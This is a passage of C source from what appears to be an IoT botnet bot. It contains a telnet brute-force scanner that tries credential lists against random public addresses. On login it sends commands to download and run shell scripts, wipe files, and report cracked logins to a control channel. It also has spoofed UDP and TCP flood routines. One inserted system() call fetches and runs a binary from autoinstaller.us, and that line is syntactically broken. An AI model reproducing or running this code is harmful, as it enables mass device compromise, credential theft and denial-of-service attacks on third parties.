  848.                 uint8_t complete;
  849.                 uint8_t usernameInd;
  850.                 uint8_t passwordInd;
  851.                 uint32_t totalTimeout;
  852.                 uint16_t bufUsed;
  853.                 char *sockbuf;
  854.         } fds[max];
  855.         memset(fds, 0, max * (sizeof(int) + 1));
  856.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  857.         struct timeval timeout;
  858.         timeout.tv_sec = 5;
  859.         timeout.tv_usec = 0;
  860.         while(1)
  861.         {
  862.                 for(i = 0; i < max; i++)
  863.                 {
  864.                         switch(fds[i].state)
  865.                         {
  866.                         case 0:
  867.                                 {
  868.                                         memset(fds[i].sockbuf, 0, 1024);
  869.  
  870.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  871.                                         else {
  872.                                                 fds[i].passwordInd++;
  873.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  874.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  875.                                         }
  876.                                         dest_addr.sin_family = AF_INET;
  877.                                         dest_addr.sin_port = htons(23);
  878.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  879.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  880.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  881.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  882.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  883.                                         if(fds[i].fd == -1) { continue; }
  884.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  885.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  886.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  887.                                 }
  888.                                 break;
  889.  
  890.                         case 1:
  891.                                 {
  892.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  893.  
  894.                                         FD_ZERO(&myset);
  895.                                         FD_SET(fds[i].fd, &myset);
  896.                                         tv.tv_sec = 0;
  897.                                         tv.tv_usec = 10000;
  898.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  899.                                         if(res == 1)
  900.                                         {
  901.                                                 lon = sizeof(int);
  902.                                                 valopt = 0;
  903.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  904.                                                 if(valopt)
  905.                                                 {
  906.                                                         sclose(fds[i].fd);
  907.                                                         fds[i].state = 0;
  908.                                                         fds[i].complete = 1;
  909.                                                 } else {
  910.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  911.                                                         fds[i].totalTimeout = 0;
  912.                                                         fds[i].bufUsed = 0;
  913.                                                         memset(fds[i].sockbuf, 0, 1024);
  914.                                                         fds[i].state = 2;
  915.                                                         continue;
  916.                                                 }
  917.                                         } else if(res == -1)
  918.                                         {
  919.                                                 sclose(fds[i].fd);
  920.                                                 fds[i].state = 0;
  921.                                                 fds[i].complete = 1;
  922.                                         }
  923.  
  924.                                         if(fds[i].totalTimeout + 8 < time(NULL))
  925.                                         {
  926.                                                 sclose(fds[i].fd);
  927.                                                 fds[i].state = 0;
  928.                                                 fds[i].complete = 1;
  929.                                         }
  930.                                 }
  931.                                 break;
  932.  
  933.                         case 2:
  934.                                 {
  935.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  936.  
  937.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  938.                                         {
  939.                                                 fds[i].totalTimeout = 0;
  940.                                                 fds[i].bufUsed = 0;
  941.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  942.                                                 else memset(fds[i].sockbuf, 0, 1024);
  943.                                                 fds[i].state = 3;
  944.                                                 continue;
  945.                                         }
  946.                                         else if(readUntil(fds[i].fd, "user:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  947.                                         {
  948.                                                 fds[i].totalTimeout = 0;
  949.                                                 fds[i].bufUsed = 0;
  950.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  951.                                                 else memset(fds[i].sockbuf, 0, 1024);
  952.                                                 fds[i].state = 3;
  953.                                                 continue;
  954.                                         }
  955.                                         else if(readUntil(fds[i].fd, "name", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  956.                                         {
  957.                                                 fds[i].totalTimeout = 0;
  958.                                                 fds[i].bufUsed = 0;
  959.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  960.                                                 else memset(fds[i].sockbuf, 0, 1024);
  961.                                                 fds[i].state = 3;
  962.                                                 continue;
  963.                                         }
  964.                                         else if(readUntil(fds[i].fd, "pass", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  965.                                         {
  966.                                                 fds[i].totalTimeout = 0;
  967.                                                 fds[i].bufUsed = 0;
  968.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  969.                                                 else memset(fds[i].sockbuf, 0, 1024);
  970.                                                 fds[i].state = 3;
  971.                                                 continue;
  972.                                         }
  973.                                         else if(readUntil(fds[i].fd, "word", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  974.                                         {
  975.                                                 fds[i].totalTimeout = 0;
  976.                                                 fds[i].bufUsed = 0;
  977.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  978.                                                 else memset(fds[i].sockbuf, 0, 1024);
  979.                                                 fds[i].state = 3;
  980.                                                 continue;
  981.                                         } else {
  982.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  983.                                         }
  984.  
  985.                                         if(fds[i].totalTimeout + 8 < time(NULL))
  986.                                         {
  987.                                                 sclose(fds[i].fd);
  988.                                                 fds[i].state = 0;
  989.                                                 fds[i].complete = 1;
  990.                                         }
  991.                                 }
  992.                                 break;
  993.  
  994.                         case 3:
  995.                                 {
  996.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  997.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  998.                                         fds[i].state = 4;
  999.                                 }
  1000.                                 break;
  1001.  
  1002.                         case 4:
  1003.                                 {
  1004.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1005.  
  1006.                                         if(readUntil(fds[i].fd, "pass", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1007.                                         {
  1008.                                                 fds[i].totalTimeout = 0;
  1009.                                                 fds[i].bufUsed = 0;
  1010.                                                 if(strstr(fds[i].sockbuf, "pass") != NULL) fds[i].state = 5;
  1011.                                                 else fds[i].state = 7;
  1012.                                                 memset(fds[i].sockbuf, 0, 1024);
  1013.                                                 continue;
  1014.                                         }
  1015.                                         if(readUntil(fds[i].fd, "word", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1016.                                         {
  1017.                                                 fds[i].totalTimeout = 0;
  1018.                                                 fds[i].bufUsed = 0;
  1019.                                                 if(strstr(fds[i].sockbuf, "word") != NULL) fds[i].state = 5;
  1020.                                                 else fds[i].state = 7;
  1021.                                                 memset(fds[i].sockbuf, 0, 1024);
  1022.                                                 continue;
  1023.                                         }
  1024.                                             else {
  1025.                                                 if(strstr(fds[i].sockbuf, "invalid") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1026.                                                 if(strstr(fds[i].sockbuf, "incorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1027.                                                 if(strstr(fds[i].sockbuf, "fail") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1028.                                                 if(strstr(fds[i].sockbuf, "again") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1029.                                                 if(strstr(fds[i].sockbuf, "wrong") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1030.                                                 if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1031.                                                 if(strstr(fds[i].sockbuf, "denied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1032.                                                 if(strstr(fds[i].sockbuf, "error") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1033.                                                 if(strstr(fds[i].sockbuf, "bad") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1034.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1035.                                         }
  1036.  
  1037.                                         if(fds[i].totalTimeout + 8 < time(NULL))
  1038.                                         {
  1039.                                                 sclose(fds[i].fd);
  1040.                                                 fds[i].state = 0;
  1041.                                                 fds[i].complete = 1;
  1042.                                         }
  1043.                                 }
  1044.                                 break;
  1045.  
  1046.                         case 5:
  1047.                                 {
  1048.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1049.                     system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  1050.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1051.                                         fds[i].state = 6;
  1052.                                 }
  1053.                                 break;
  1054.  
  1055.                         case 6:
  1056.                                 {
  1057.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1058.  
  1059.                                     if(readUntil(fds[i].fd, "invalid", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1060.                                     {
  1061.                                         fds[i].totalTimeout = 0;
  1062.                                         fds[i].bufUsed = 0;
  1063.                                         if(strstr(fds[i].sockbuf, "invalid") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1064.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1065.                                         else fds[i].state = 7;
  1066.                                         memset(fds[i].sockbuf, 0, 1024);
  1067.                                         continue;
  1068.                                     }
  1069.                                     if(readUntil(fds[i].fd, "incorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1070.                                     {
  1071.                                         fds[i].totalTimeout = 0;
  1072.                                         fds[i].bufUsed = 0;
  1073.                                         if(strstr(fds[i].sockbuf, "incorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1074.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1075.                                         else fds[i].state = 7;
  1076.                                         memset(fds[i].sockbuf, 0, 1024);
  1077.                                         continue;
  1078.                                     }
  1079.                                     if(readUntil(fds[i].fd, "fail", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1080.                                     {
  1081.                                         fds[i].totalTimeout = 0;
  1082.                                         fds[i].bufUsed = 0;
  1083.                                         if(strstr(fds[i].sockbuf, "fail") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1084.                                         else fds[i].state = 7;
  1085.                                         memset(fds[i].sockbuf, 0, 1024);
  1086.                                         continue;
  1087.                                     }
  1088.                                     if(readUntil(fds[i].fd, "again", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1089.                                     {
  1090.                                         fds[i].totalTimeout = 0;
  1091.                                         fds[i].bufUsed = 0;
  1092.                                         if(strstr(fds[i].sockbuf, "again") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1093.                                         else fds[i].state = 7;
  1094.                                         memset(fds[i].sockbuf, 0, 1024);
  1095.                                         continue;
  1096.                                     }
  1097.                                     if(readUntil(fds[i].fd, "wrong", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1098.                                     {
  1099.                                         fds[i].totalTimeout = 0;
  1100.                                         fds[i].bufUsed = 0;
  1101.                                         if(strstr(fds[i].sockbuf, "wrong") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1102.                                         else fds[i].state = 7;
  1103.                                         memset(fds[i].sockbuf, 0, 1024);
  1104.                                         continue;
  1105.                                     }
  1106.                                     if(readUntil(fds[i].fd, "accessdenied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1107.                                     {
  1108.                                         fds[i].totalTimeout = 0;
  1109.                                         fds[i].bufUsed = 0;
  1110.                                         if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1111.                                         else fds[i].state = 7;
  1112.                                         memset(fds[i].sockbuf, 0, 1024);
  1113.                                         continue;
  1114.                                     }
  1115.                                     if(readUntil(fds[i].fd, "denied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1116.                                     {
  1117.                                         fds[i].totalTimeout = 0;
  1118.                                         fds[i].bufUsed = 0;
  1119.                                         if(strstr(fds[i].sockbuf, "denied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1120.                                         else fds[i].state = 7;
  1121.                                         memset(fds[i].sockbuf, 0, 1024);
  1122.                                         continue;
  1123.                                     }
  1124.                                     if(readUntil(fds[i].fd, "error", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1125.                                     {
  1126.                                         fds[i].totalTimeout = 0;
  1127.                                         fds[i].bufUsed = 0;
  1128.                                         if(strstr(fds[i].sockbuf, "error") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1129.                                         else fds[i].state = 7;
  1130.                                         memset(fds[i].sockbuf, 0, 1024);
  1131.                                         continue;
  1132.                                     }
  1133.                                     if(readUntil(fds[i].fd, "bad", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1134.                                     {
  1135.                                         fds[i].totalTimeout = 0;
  1136.                                         fds[i].bufUsed = 0;
  1137.                                         if(strstr(fds[i].sockbuf, "bad") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1138.                                         else fds[i].state = 7;
  1139.                                         memset(fds[i].sockbuf, 0, 1024);
  1140.                                         continue;
  1141.                                     }
  1142.                                     else {
  1143.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1144.                                         }
  1145.  
  1146.                                         if(fds[i].totalTimeout + 8 < time(NULL))
  1147.                                         {
  1148.                                                 sclose(fds[i].fd);
  1149.                                                 fds[i].state = 0;
  1150.                                                 fds[i].complete = 1;
  1151.                                         }
  1152.                                 }
  1153.                                 break;
  1154.  
  1155.                         case 7:
  1156.                                 {
  1157.                                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1158.                                     fds[i].state = 8;
  1159.                                 }
  1160.                                 break;
  1161.  
  1162.                         case 8:
  1163.                                 {
  1164.                                     if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1165.                                     fds[i].state = 9;
  1166.                                 }
  1167.                                 break;
  1168.  
  1169.                         case 9:
  1170.                                 {
  1171.                                     if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 335, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1172.                                     fds[i].state = 10;
  1173.                                 }
  1174.                                 break;
  1175.  
  1176.                         case 10:
  1177.                                 {
  1178.                                     if(send(fds[i].fd, "/bin/busybox;echo -e '\x67\x61\x79\x66\x67\x74'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1179.                                     fds[i].state = 11;
  1180.                                 }
  1181.                                 break;
  1182.  
  1183.                         case 11:
  1184.                                 {
  1185.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1186.  
  1187.                                     if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1188.                                     {
  1189.                                         fds[i].totalTimeout = 0;
  1190.                                         fds[i].bufUsed = 0;
  1191.                                         send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 335, MSG_NOSIGNAL);
  1192.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1193.                                         continue;
  1194.  
  1195.                                     }
  1196.                                     else if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1197.                                     {
  1198.                                         fds[i].totalTimeout = 0;
  1199.                                         fds[i].bufUsed = 0;
  1200.                                         send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 335, MSG_NOSIGNAL);
  1201.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1202.                                         continue;
  1203.  
  1204.                                     }
  1205.                                     else if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1206.                                     {
  1207.                                         fds[i].totalTimeout = 0;
  1208.                                         fds[i].bufUsed = 0;
  1209.                                         send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 335, MSG_NOSIGNAL);
  1210.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1211.                                         memset(fds[i].sockbuf, 0, 1024);
  1212.                                         sclose(fds[i].fd);
  1213.                                         fds[i].complete = 1;
  1214.                                         fds[i].state = 0;
  1215.                                         continue;
  1216.                                     }
  1217.                                     else {
  1218.                                             fds[i].bufUsed = strlen(fds[i].sockbuf);
  1219.                                          }
  1220.  
  1221.                                     if(fds[i].totalTimeout + 10 < time(NULL))
  1222.                                     {
  1223.                                         sclose(fds[i].fd);
  1224.                                         fds[i].state = 0;
  1225.                                         fds[i].complete = 1;
  1226.                                     }
  1227.                                 }
  1228.                                 break;
  1229.                         }
  1230.                 }
  1231.         }
  1232. }
  1233.  
  1234. /*
  1235. ╦ ╦╔╦╗╔═╗  ╔═╗┌┬┐┌┬┐┌─┐┌─┐┬┌─
  1236. ║ ║ ║║╠═╝  ╠═╣ │  │ ├─┤│  ├┴┐
  1237. ╚═╝═╩╝╩    ╩ ╩ ┴  ┴ ┴ ┴└─┘┴ ┴
  1238. */
  1239.  
  1240. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1241. {
  1242.         struct sockaddr_in dest_addr;
  1243.  
  1244.         dest_addr.sin_family = AF_INET;
  1245.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1246.         else dest_addr.sin_port = htons(port);
  1247.         if(getHost(target, &dest_addr.sin_addr)) return;
  1248.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1249.  
  1250.         register unsigned int pollRegister;
  1251.         pollRegister = pollinterval;
  1252.  
  1253.         if(spoofit == 32)
  1254.         {
  1255.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1256.                 if(!sockfd)
  1257.                 {
  1258.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1259.                         return;
  1260.                 }
  1261.  
  1262.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1263.                 if(buf == NULL) return;
  1264.                 memset(buf, 0, packetsize + 1);
  1265.                 makeRandomStr(buf, packetsize);
  1266.  
  1267.                 int end = time(NULL) + timeEnd;
  1268.                 register unsigned int i = 0;
  1269.                 while(1)
  1270.                 {
  1271.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1272.  
  1273.                         if(i == pollRegister)
  1274.                         {
  1275.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1276.                                 if(time(NULL) > end) break;
  1277.                                 i = 0;
  1278.                                 continue;
  1279.                         }
  1280.                         i++;
  1281.                 }
  1282.         } else {
  1283.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1284.                 if(!sockfd)
  1285.                 {
  1286.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1287.                         //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1288.                         return;
  1289.                 }
  1290.  
  1291.                 int tmp = 1;
  1292.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1293.                 {
  1294.                         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1295.                         return;
  1296.                 }
  1297.  
  1298.                 int counter = 50;
  1299.                 while(counter--)
  1300.                 {
  1301.                         srand(time(NULL) ^ rand_cmwc());
  1302.                         init_rand(rand());
  1303.                 }
  1304.  
  1305.                 in_addr_t netmask;
  1306.  
  1307.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1308.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1309.  
  1310.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1311.                 struct iphdr *iph = (struct iphdr *)packet;
  1312.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1313.  
  1314.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1315.  
  1316.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1317.                 udph->source = rand_cmwc();
  1318.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1319.                 udph->check = 0;
  1320.  
  1321.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1322.  
  1323.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1324.  
  1325.                 int end = time(NULL) + timeEnd;
  1326.                 register unsigned int i = 0;
  1327.                 while(1)
  1328.                 {
  1329.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1330.  
  1331.                         udph->source = rand_cmwc();
  1332.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1333.                         iph->id = rand_cmwc();
  1334.                         iph->saddr = htonl( getRandomIP(netmask) );
  1335.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1336.  
  1337.                         if(i == pollRegister)
  1338.                         {
  1339.                                 if(time(NULL) > end) break;
  1340.                                 i = 0;
  1341.                                 continue;
  1342.                         }
  1343.                         i++;
  1344.                 }
  1345.         }
  1346. }
  1347.  
  1348. /*
  1349. ╔╦╗╔═╗╔═╗  ╔═╗┌┬┐┌┬┐┌─┐┌─┐┬┌─
  1350.  ║ ║  ╠═╝  ╠═╣ │  │ ├─┤│  ├┴┐
  1351.  ╩ ╚═╝╩    ╩ ╩ ┴  ┴ ┴ ┴└─┘┴ ┴
  1352.  */
  1353.  
  1354. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1355. {
  1356.         register unsigned int pollRegister;
  1357.         pollRegister = pollinterval;
  1358.  
  1359.         struct sockaddr_in dest_addr;
  1360.  
  1361.         dest_addr.sin_family = AF_INET;
  1362.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1363.         else dest_addr.sin_port = htons(port);
  1364.         if(getHost(target, &dest_addr.sin_addr)) return;
  1365.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1366.  
  1367.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1368.         if(!sockfd)
  1369.         {
  1370.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  1371.                 return;
  1372.         }
  1373.  
  1374.         int tmp = 1;
  1375.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1376.         {
  1377.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1378.                 return;
  1379.         }
  1380.  
  1381.         in_addr_t netmask;
  1382.  
  1383.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1384.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1385.  
  1386.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1387.         struct iphdr *iph = (struct iphdr *)packet;
  1388.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1389.  
  1390.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1391.  
  1392.         tcph->source = rand_cmwc();
  1393.         tcph->seq = rand_cmwc();
  1394.         tcph->ack_seq = 0;
  1395.         tcph->doff = 5;
  1396.  
  1397.         if(!strcmp(flags, "all"))
  1398.         {
  1399.                 tcph->syn = 1;
  1400.                 tcph->rst = 1;
  1401.                 tcph->fin = 1;
  1402.                 tcph->ack = 1;
  1403.                 tcph->psh = 1;
  1404.         } else {
  1405.                 unsigned char *pch = strtok(flags, ",");
  1406.                 while(pch)
  1407.                 {
  1408.                         if(!strcmp(pch,         "syn"))
  1409.                         {
  1410.                                 tcph->syn = 1;
  1411.                         } else if(!strcmp(pch,  "rst"))
  1412.                         {
  1413.                                 tcph->rst = 1;
  1414.                         } else if(!strcmp(pch,  "fin"))
  1415.                         {
  1416.                                 tcph->fin = 1;
  1417.                         } else if(!strcmp(pch,  "ack"))
  1418.                         {
  1419.                                 tcph->ack = 1;
  1420.                         } else if(!strcmp(pch,  "psh"))
  1421.                         {
  1422.                                 tcph->psh = 1;
  1423.                         } else {
  1424.                                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
